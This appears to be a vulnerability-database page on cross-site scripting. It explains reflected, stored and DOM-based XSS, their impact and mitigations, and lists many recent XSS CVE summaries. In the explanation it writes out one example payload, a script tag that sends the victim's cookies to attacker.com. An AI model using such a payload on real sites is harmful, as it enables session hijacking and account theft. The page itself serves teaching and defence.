Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (10027)

EPSS 0% CVSS 3.5
LOW POC Monitor

P5 FNIP-8x16A/FNIP-4xSH versions 1.0.20 and 1.0.11 suffer from a stored cross-site scripting vulnerability. [CVSS 3.5 LOW]

XSS
NVD Exploit-DB
EPSS 0% CVSS 5.4
MEDIUM This Month

The Greenshift animation and page builder plugin for WordPress (up to version 12.6) fails to properly validate user capabilities on the greenshift_app_pass_validation() function, allowing authenticated subscribers and above to extract sensitive plugin configuration including stored AI API keys and inject malicious scripts through the custom_css setting. This combination of information disclosure and stored cross-site scripting (XSS) requires only valid WordPress user credentials to exploit, with a partial patch available in version 12.6.

WordPress Authentication Bypass XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Peter's Date Countdown plugin for WordPress through version 2.0.0 contains a reflected cross-site scripting vulnerability in the PHP_SELF parameter that allows unauthenticated attackers to inject malicious scripts. Exploitation requires social engineering to trick users into clicking a malicious link, but successful attacks can compromise user sessions and steal sensitive data. No patch is currently available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting in Robin Image Optimizer plugin versions up to 2.0.2 allows authenticated WordPress users with Author-level or higher privileges to inject malicious scripts through the Media Library image Alternative Text field. The injected scripts execute in the browsers of any user viewing affected pages, potentially compromising site visitors. No patch is currently available.

WordPress XSS
NVD
EPSS 0%
This Week

user profile edit functionality at /ngc-cms/user-edit-profile.php. The application fails to properly sanitize user input in the name field is affected by cross-site scripting (xss).

PHP XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting in the Dynamic Widget Content plugin for WordPress (versions up to 1.3.6) allows authenticated users with Contributor privileges or higher to inject malicious scripts through the Gutenberg editor widget content field due to inadequate input sanitization. The injected scripts execute in the browsers of any user viewing the affected pages, potentially compromising account security and enabling credential theft or unauthorized actions.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting in Essential Widgets for WordPress through version 3.0 allows authenticated contributors and above to inject malicious scripts into pages via insufficiently sanitized shortcode attributes. When other users visit affected pages, the injected scripts execute in their browsers, potentially compromising sessions or stealing sensitive data. A patch is not currently available for this vulnerability.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

Navidrome versions before 0.60.0 contain a stored cross-site scripting vulnerability in song comment metadata that allows attackers to inject malicious scripts and steal user credentials when victims view affected music files. Public exploit code exists for this vulnerability. Administrators should upgrade to version 0.60.0 or later to remediate the risk.

XSS Navidrome Suse
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Htmlsanitizer versions up to 9.0.892 is affected by improper encoding or escaping of output (CVSS 6.1).

Dotnet XSS Htmlsanitizer
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

Concert versions up to 2.1.0 contains a vulnerability that allows attackers to conduct various attacks against the vulnerable system, including cross-site scri (CVSS 6.5).

IBM XSS Concert
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

At Internet Piano Analytics versions up to 1.0.1 is affected by cross-site scripting (xss) (CVSS 4.8).

Drupal Industrial XSS +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting in the AT Internet SmartTag Drupal module versions before 1.0.1 enables attackers to inject malicious scripts through improper input validation on web pages. An attacker can exploit this vulnerability remotely without authentication to steal session cookies, perform actions on behalf of users, or deface content, though user interaction is required for successful exploitation. No patch is currently available for affected Drupal installations.

Drupal XSS At Internet Smarttag
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

IBM Cloud Pak System is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. [CVSS 5.3 MEDIUM]

IBM XSS Cloud Pak System +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Stored cross-site scripting in n8n's markdown rendering component allows authenticated users to inject malicious scripts into workflows and sticky notes that execute with session privileges when viewed by other users. An attacker with workflow modification permissions can exploit this to hijack sessions and compromise accounts of users who interact with affected workflows. Versions 1.123.9 and 2.2.1 contain fixes for this vulnerability.

XSS AI / ML N8n
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Improper Content Security Policy enforcement in n8n workflow automation allows authenticated users to inject persistent XSS payloads into webhook responses that execute with same-origin privileges when other users access the affected workflows. An attacker with workflow creation/modification permissions could exploit this to hijack sessions and compromise user accounts. The vulnerability affects n8n versions prior to 1.123.2.

XSS AI / ML N8n
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

Stored XSS in Cisco Prime Infrastructure's web management interface allows authenticated administrators to inject malicious scripts that execute in other users' browsers, potentially leading to session hijacking or sensitive data theft. The vulnerability stems from insufficient input validation on specific data fields and requires valid admin credentials to exploit. No patch is currently available.

Cisco XSS Prime Infrastructure
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability exists in the web management interface of the PPC (Belden) ONT 2K05X router running firmware v1.1.9_206L. [CVSS 6.1 MEDIUM]

XSS Ppc 2k05x Firmware
NVD GitHub
EPSS 0%
This Week

On a Cryptobox platform where administrator segregation based on entities is used, some vulnerabilities in Ercom Cryptobox administration console allows an authenticated entity administrator with knowledge to elevate his account to global administrator.

XSS
NVD
EPSS 0%
This Week

Stored Cross-Site Scripting (XSS) vulnerability type in Apidog in the version 2.7.15, where SVG image uploads are not properly sanitized.

XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

Stored XSS in WordPress WP Content Permission plugin through the 'ohmem-message' parameter allows authenticated administrators to inject malicious scripts that execute for all users viewing affected pages. The vulnerability exists in versions up to 1.2 due to inadequate input sanitization and output escaping. Exploitation requires administrator-level privileges and no patch is currently available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting in the Smart Appointment & Booking WordPress plugin through version 1.0.7 allows authenticated subscribers and higher-privileged users to inject malicious scripts into pages via the saab_save_form_data AJAX action due to inadequate input sanitization. Attackers can exploit this vulnerability to execute arbitrary JavaScript that persists and runs for any user viewing the compromised pages. No patch is currently available for this medium-severity flaw.

WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

Extended Random Number Generator (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 4.4).

WordPress XSS
NVD
EPSS 0% CVSS 8.8
HIGH This Week

Karel Electronics Industry and Trade Inc. ViPort is affected by cross-site scripting (xss) (CVSS 8.8).

Industrial XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Stored XSS in Movable Type's Export Sites feature allows authenticated attackers to inject malicious scripts that execute in the browsers of logged-in users. The vulnerability affects Movable Type 7 and 8.4 series (both EOL) and requires an attacker to first store the crafted payload through the application. No patch is currently available for this medium-severity flaw.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Stored XSS in Movable Type's Edit Comment feature allows authenticated attackers to inject malicious scripts that execute in logged-in users' browsers, affecting both current and end-of-life versions including the 7 and 8.4 series. An attacker with login credentials can craft and store malicious input that triggers arbitrary script execution when other users view or interact with comments. No patch is currently available for this medium-severity vulnerability.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting in WordPress Menu Icons by ThemeIsle plugin (versions up to 0.13.20) allows authenticated users with Author-level permissions or higher to inject malicious scripts through the attachment image alt meta field due to improper input sanitization. The injected scripts execute in the browsers of visitors accessing the affected pages, enabling session hijacking, credential theft, or malware distribution.

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Engineering Lifecycle Management versions up to 7.0.3 is affected by cross-site scripting (xss) (CVSS 5.4).

IBM XSS Engineering Lifecycle Management
NVD
EPSS 0%
POC This Week

Easy Transfer Wifi Transfer v1.7 for iOS contains a persistent cross-site scripting vulnerability that allows remote attackers to inject malicious scripts by manipulating the oldPath, newPath, and path parameters in Create Folder and Move/Edit functions.

XSS
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Improper serialization of virtual attributes in Qwik versions prior to 1.19.0 enables stored cross-site scripting attacks during server-side rendering, allowing attackers to inject malicious scripts that execute in users' browsers within the affected application context. The vulnerability requires user interaction and affects applications using vulnerable Qwik versions. A patch is available in version 1.19.0 and later.

XSS Qwik
NVD GitHub
EPSS 0% CVSS 7.2
HIGH POC This Week

Victor CMS 1.0 contains a stored cross-site scripting vulnerability in the 'comment_author' POST parameter that allows attackers to inject malicious scripts. Attackers can submit crafted JavaScript payloads through the comment submission form to execute arbitrary code in victim browsers. [CVSS 7.2 HIGH]

XSS Victor Cms
NVD GitHub Exploit-DB
EPSS 0% CVSS 4.7
MEDIUM This Month

Blesta 3.x through 5.x before 5.13.3 mishandles input validation, aka CORE-5665. [CVSS 4.7 MEDIUM]

XSS Blesta
NVD
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated attackers with high privileges to inject malicious scripts through unsanitized Shipping Zone name and description fields, which execute in administrators' browsers. Public exploit code exists for this vulnerability. Updates to versions 4.10.1 and 5.5.2 are available to remediate the issue.

XSS Craft Commerce
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated attackers with high privileges to inject malicious scripts via the Address Line 1 field in Inventory Locations, which execute in administrators' browsers when the field is viewed in the admin panel. Public exploit code exists for this vulnerability. Patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated attackers with high privileges to inject malicious scripts via unsanitized Tax Zone name and description fields, executing arbitrary JavaScript in administrators' browsers. Public exploit code exists for this vulnerability. Patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated administrators with high privileges to inject malicious scripts through unsanitized Tax Category fields, which execute when other admins view the affected pages. Public exploit code exists for this vulnerability. Patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated administrators with high privileges to inject malicious scripts via unsanitized Tax Rates name fields, enabling arbitrary JavaScript execution in other administrators' browsers. Public exploit code exists for this vulnerability. Patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce versions 5.0.0 through 5.5.1 permits authenticated attackers with administrative privileges to inject malicious scripts through the Shipping Methods Name field, which executes in other administrators' browsers when they access the Store Management interface. Public exploit code exists for this vulnerability. The flaw stems from insufficient input sanitization and is remediated in version 5.5.2.

XSS Craft Commerce
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce shipping category fields allows authenticated attackers with high privileges to inject malicious scripts that execute in administrators' browsers, affecting versions 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1. The vulnerability stems from insufficient sanitization of the Name and Description fields in the Store Management section before display in the admin panel. Public exploit code exists, and patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored cross-site scripting in Craft Commerce versions 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated users with product type management permissions to inject malicious scripts via unsanitized product type names that execute when administrators view user permissions settings. Public exploit code exists for this vulnerability. Upgrades to versions 4.10.1 or 5.5.2 resolve the issue.

XSS Craft Commerce
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce's Order Status History Message (versions 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1) allows authenticated attackers with database backup permissions to inject malicious scripts that execute in the context of other users' browsers. Public exploit code exists for this vulnerability, enabling attackers to exfiltrate sensitive data including user credentials, customer PII, order history, and 2FA recovery codes. Patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Craft Commerce versions 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 contain a stored DOM-based XSS vulnerability in the Recent Orders dashboard widget where unescaped Order Status Names allow arbitrary script execution when administrators access the dashboard. An attacker with the ability to modify order statuses can inject malicious JavaScript that executes in the context of any admin user, potentially leading to account compromise or unauthorized actions. Public exploit code exists for this vulnerability; patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

The Tenda AC7 firmware web management interface fails to properly sanitize user input, enabling reflected cross-site scripting (XSS) attacks that can inject malicious scripts into a victim's browser. An unauthenticated attacker can exploit this vulnerability to steal session cookies, perform unauthorized actions, or redirect users to malicious sites. No patch is currently available for affected firmware versions V03.03.03.01_cn and earlier.

XSS Ac7 Firmware
NVD
EPSS 0% CVSS 4.7
MEDIUM POC This Month

The Open eClass platform (formerly known as GUnet eClass) is a complete course management system. [CVSS 4.7 MEDIUM]

XSS Open Eclass Platform
NVD GitHub
EPSS 0% CVSS 7.3
HIGH POC This Week

The Open eClass platform (formerly known as GUnet eClass) is a complete course management system. [CVSS 7.3 HIGH]

XSS Open Eclass Platform
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Open eClass platform (formerly known as GUnet eClass) is a complete course management system. [CVSS 6.1 MEDIUM]

XSS Open Eclass Platform
NVD GitHub
EPSS 0% CVSS 8.7
HIGH POC This Week

The Open eClass platform (formerly known as GUnet eClass) is a complete course management system. [CVSS 8.7 HIGH]

XSS Open Eclass Platform
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Creativeitem Academy LMS 7.0 contains reflected Cross-Site Scripting (XSS) vulnerabilities via the search parameter to the /academy/blogs endpoint, and the string parameter to the /academy/course_bundles/search/query endpoint. [CVSS 6.1 MEDIUM]

XSS Academy Lms
NVD GitHub Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

Arbitrary File Upload in podinfo thru 6.9.0 allows unauthenticated attackers to upload arbitrary files via crafted POST request to the /store endpoint. [CVSS 6.1 MEDIUM]

XSS Podinfo Suse
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

NetBox is an open-source infrastructure resource modeling and IP address management platform. [CVSS 5.4 MEDIUM]

XSS Netbox
NVD GitHub
EPSS 0% CVSS 4.1
MEDIUM This Month

ERPNext thru 15.88.1 does not sanitize or remove certain HTML tags specifically `<a>` hyperlinks in fields that are intended for plain text. Although JavaScript is blocked (preventing XSS), the HTML is still preserved in the generated PDF document. [CVSS 4.1 MEDIUM]

XSS Erpnext
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability was discovered within the CSV import mechanism of ERPNext thru 15.88.1 when using the Update Existing Recordsoption. [CVSS 5.4 MEDIUM]

XSS Erpnext
NVD GitHub
EPSS 0% CVSS 3.7
LOW Monitor

HCL AION is susceptible to Missing Content-Security-Policy. An The absence of a CSP header may increase the risk of cross-site scripting and other content injection attacks by allowing unsafe scripts or resources to execute..This issue affects AION: 2.0. [CVSS 3.7 LOW]

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

60CycleCMS 2.5.2 contains a cross-site scripting (XSS) vulnerability in news.php that allows attackers to inject malicious scripts through GET parameters. [CVSS 6.1 MEDIUM]

PHP SQLi XSS +1
NVD Exploit-DB
EPSS 0% CVSS 8.2
HIGH POC This Week

60CycleCMS 2.5.2 contains an SQL injection vulnerability in news.php and common/lib.php that allows attackers to manipulate database queries through unvalidated user input. [CVSS 8.2 HIGH]

PHP SQLi XSS +1
NVD Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

DotNetNuke 9.5 contains a persistent cross-site scripting vulnerability that allows normal users to upload malicious XML files with executable scripts through journal tools. [CVSS 6.4 MEDIUM]

Dotnet XSS CSRF +1
NVD Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

group description field of the admin edit groups section. Attackers can inject malicious JavaScript through the description field is affected by cross-site scripting (xss) (CVSS 6.4).

XSS
NVD Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

Snipe-IT 4.7.5 contains a persistent cross-site scripting vulnerability that allows authorized users to upload malicious SVG files with embedded JavaScript. Attackers can craft SVG files with script tags to execute arbitrary JavaScript when the accessory is viewed by other users. [CVSS 6.4 MEDIUM]

XSS
NVD GitHub Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

Zendesk SweetHawk Survey 1.6 contains a persistent cross-site scripting vulnerability that allows attackers to inject malicious scripts through support ticket submissions. [CVSS 6.4 MEDIUM]

XSS
NVD Exploit-DB
EPSS 0% CVSS 6.8
MEDIUM PATCH This Month

Reflected XSS in Apache Syncope's Enduser Login page. An attacker that tricks a legitimate user into clicking a malicious link and logging in to Syncope Enduser could steal that user's credentials. [CVSS 6.8 MEDIUM]

Apache XSS Syncope
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

The Events Calendar Shortcode & Block plugin through version 3.1.1 contains a stored cross-site scripting vulnerability that allows authenticated users with limited privileges to inject malicious scripts into event pages, affecting all site visitors. An attacker can exploit this by crafting malicious input that persists in the database and executes in users' browsers when they view affected event content. No patch is currently available for this medium-severity vulnerability.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Crocoblock JetElements For Elementor jet-elements is affected by cross-site scripting (xss) (CVSS 6.5).

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Craig Hewitt Seriously Simple Podcasting seriously-simple-podcasting is affected by cross-site scripting (xss) (CVSS 6.5).

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Stored XSS in Better Search plugin version 4.2.1 and earlier enables authenticated attackers with high privileges to inject malicious scripts that persist in web pages and execute in other users' browsers. The vulnerability requires user interaction to trigger but can compromise confidentiality, integrity, and availability across the application scope. No patch is currently available.

XSS
NVD
EPSS 0% CVSS 7.6
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Ofisimo Web-Based Software Technologies Association Web Package Flora allows XSS Through HTTP Headers.This issue affects Association Web Package Flora: from v3.0 through 03022026. [CVSS 7.6 HIGH]

XSS
NVD
EPSS 0% CVSS 8.6
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Ankara Hosting Website Design Website Software allows Reflected XSS.This issue affects Website Software: through 03022026. [CVSS 8.6 HIGH]

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

A flaw was found in mooodle. A remote attacker could exploit a reflected Cross-Site Scripting (XSS) vulnerability in the policy tool return URL. [CVSS 5.4 MEDIUM]

XSS Information Disclosure Moodle
NVD
EPSS 0% CVSS 7.3
HIGH PATCH This Week

A flaw was found in moodle. This vulnerability, known as Cross-Site Scripting (XSS), occurs due to insufficient checks on user-provided data in the formula editor's arithmetic expression fields. [CVSS 7.3 HIGH]

Moodle XSS
NVD
EPSS 0% CVSS 7.3
HIGH PATCH This Week

A flaw was found in Moodle. This cross-site scripting (XSS) vulnerability, caused by improper sanitization of AI prompt responses, allows attackers to inject malicious HTML or script into web pages. [CVSS 7.3 HIGH]

Moodle XSS AI / ML
NVD
EPSS 0%
This Week

HTML injection vulnerability in NICE Chat. This vulnerability allows an attacker to inject and render arbitrary HTML content in email transcripts by modifying the 'firstName' and 'lastName' parameters during a chat session.

XSS
NVD
EPSS 0%
This Week

Stored Cross-Site Scripting (XSS) vulnerability type in LUNA software v7.5.5.6. This vulnerability allows an attacker to execute JavaScript code in the victim's browser by inyecting a malicious payload through the 'Edit Batch Name' function.

XSS
NVD
EPSS 0% CVSS 7.6
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Seres Software syWEB allows Reflected XSS.This issue affects syWEB: through 03022026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. [CVSS 7.6 HIGH]

XSS
NVD
EPSS 0% CVSS 7.6
HIGH This Week

Kod8 Software Technologies Trade Ltd. Co. Kod8 Individual and SME Website is affected by cross-site scripting (xss) (CVSS 7.6).

XSS
NVD
EPSS 0% CVSS 6.3
MEDIUM This Month

Stored cross-site scripting in Foxit PDF Editor Cloud's Create New Layer feature allows authenticated attackers to execute arbitrary JavaScript by injecting malicious code that persists when layers are accessed by other users. The vulnerability affects pdfonline.foxit.com versions prior to 2026-02-03 and requires user interaction to trigger. No patch is currently available.

XSS Pdf Editor Cloud
NVD
EPSS 0% CVSS 6.3
MEDIUM This Month

Foxit PDF Editor Cloud contains a stored XSS vulnerability in its file upload functionality where malicious usernames are not properly sanitized before being displayed in the upload file list, enabling authenticated attackers to execute arbitrary JavaScript in other users' browsers. The vulnerability affects pdfonline.foxit.com versions prior to 2026-02-03 and currently has no available patch. An attacker with valid credentials could craft a malicious username to compromise account security or steal sensitive document data from other users viewing the file list.

XSS Pdf Editor Cloud
NVD
EPSS 0% CVSS 7.6
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in AKCE Software Technology R&D Industry and Trade Inc. SKSPro allows Reflected XSS.This issue affects SKSPro: through 07012026. [CVSS 7.6 HIGH]

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Unauthenticated attackers can forge requests to create or modify contact notes in WordPress Mail Mint plugin versions up to 1.19.2 by exploiting missing CSRF protections, requiring only that a site administrator clicks a malicious link. The lack of input validation on these operations enables stored XSS attacks that could compromise administrator accounts and site integrity. No patch is currently available.

WordPress XSS CSRF
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Authenticated contributors and above can inject malicious scripts into WordPress pages through the Happy Addons for Elementor plugin (versions up to 3.20.7) via improper sanitization of the '_elementor_data' meta field, resulting in stored XSS that executes for all users viewing affected pages. An attacker with contributor-level permissions can leverage this to steal credentials, perform actions on behalf of administrators, or deface website content. No patch is currently available.

WordPress XSS
NVD
EPSS 0% CVSS 7.2
HIGH This Week

Unauthenticated attackers can upload malicious SVG files through the Form Maker by 10Web WordPress plugin (versions up to 1.15.35) due to insufficient file type validation, enabling stored cross-site scripting attacks against administrators and site visitors. The plugin's default allowlist includes SVG files and relies on weak substring-based extension checking, allowing JavaScript execution when the uploaded files are viewed. No patch is currently available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored XSS in WordPress Form Maker plugin (versions up to 1.15.35) allows unauthenticated attackers to inject malicious scripts through hidden form field values that execute when administrators view the submissions list. The vulnerability stems from improper output escaping after HTML entity decoding of user-supplied input. Website administrators using this plugin are at risk of account compromise and unauthorized actions performed within their WordPress dashboard.

WordPress XSS
NVD
EPSS 0% CVSS 7.2
HIGH This Week

Stored XSS in LatePoint WordPress plugin versions up to 5.2.5 allows unauthenticated attackers to inject malicious scripts into customer profile fields that execute when administrators review activity history. The vulnerability stems from inadequate input sanitization and output escaping, potentially enabling credential theft or administrative account compromise. No patch is currently available.

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Unlimited Elements for Elementor (WordPress plugin) versions up to 2.0.1. is affected by cross-site scripting (xss) (CVSS 5.4).

WordPress XSS PHP
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.Page.Preview.Js.

XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.JqueryMsg/mediawiki.JqueryMsg.Js.

XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.Special.Apisandbox/ApiSandboxLayout.Js.

XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/CommentFormatter/CommentParser.Php.

PHP XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Vector. This vulnerability is associated with program files resources/skins.Vector.Js/stickyHeader.Js.

XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation VisualEditor. This vulnerability is associated with program files src/ce/ve.Ce.ClipboardHandler.Js.

XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation VisualEditor.

PHP XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation CheckUser. This vulnerability is associated with program files modules/ext.CheckUser/checkuser/checkUserHelper/buildUserElement.Js.

XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation CheckUser. This vulnerability is associated with program files src/Services/CheckUserUserInfoCardService.Php.

PHP XSS
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
10027

Related CWEs

MITRE ATT&CK

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